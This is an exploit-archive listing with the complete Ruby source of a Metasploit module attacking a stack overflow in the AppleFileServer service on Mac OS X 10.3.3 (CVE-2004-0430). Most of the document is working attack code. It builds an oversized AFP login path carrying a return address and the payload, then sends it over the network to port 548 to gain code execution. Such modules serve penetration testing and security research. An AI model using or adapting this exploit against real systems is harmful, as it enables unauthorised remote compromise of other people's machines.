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AppleFileServer LoginExt PathName Overflow

AppleFileServer LoginExt PathName Overflow
Posted Oct 28, 2009
Authored by H D Moore | Site metasploit.com

This Metasploit module exploits a stack overflow in the AppleFileServer service on MacOS X. This vulnerability was originally reported by Atstake and was actually one of the few useful advisories ever published by that company. You only have one chance to exploit this bug. This particular exploit uses a stack-based return address that will only work under optimal conditions.

tags | exploit, overflow
advisories | CVE-2004-0430
SHA-256 | d6bfb60bac8c1bd2da8a4cbf66db3c5ce0562ab709e98ce7361c7a2a4864ea31

AppleFileServer LoginExt PathName Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'AppleFileServer LoginExt PathName Overflow',
'Description' => %q{
This module exploits a stack overflow in the AppleFileServer service
on MacOS X. This vulnerability was originally reported by Atstake and
was actually one of the few useful advisories ever published by that
company. You only have one chance to exploit this bug.
This particular exploit uses a stack-based return address that will
only work under optimal conditions.
},
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2004-0430'],
[ 'OSVDB', '5762'],
[ 'BID', '10271'],
],
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x20",
'MinNops' => 128,
'Compat' =>
{
'ConnectionType' => "+find"
}
},
'Targets' =>
[
# Target 0
[
'Mac OS X 10.3.3',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
'Ret' => 0xf0101c0c # stack address :<
},
],
],
'DisclosureDate' => 'May 3 2004'))

# Configure the default port to be AFP
register_options(
[
Opt::RPORT(548),
], self.class)
end

def exploit
connect

print_status("Trying target #{target.name}...")

path = "\xff" * 1024
path[168, 4] = Rex::Arch.pack_addr(target.arch, target.ret)
path[172, payload.encoded.length] = payload.encoded

# The AFP header
afp = "\x3f\x00\x00\x00"

# Add the authentication methods
["AFP3.1", "Cleartxt Passwrd"].each { |m|
afp << [m.length].pack('C') + m
}

# Add the user type and afp path
afp << "\x03" + [9].pack('n') + rand_text_alphanumeric(9)
afp << "\x03" + [path.length].pack('n') + path

# Add the data stream interface header
dsi =
[
0, # Flags
2, # Command
rand(65536), # XID
0, # Data Offset
afp.length, # Data Length
0 # Reserved
].pack("CCnNNN") + afp

sock.put(dsi)

handler

disconnect
end

end


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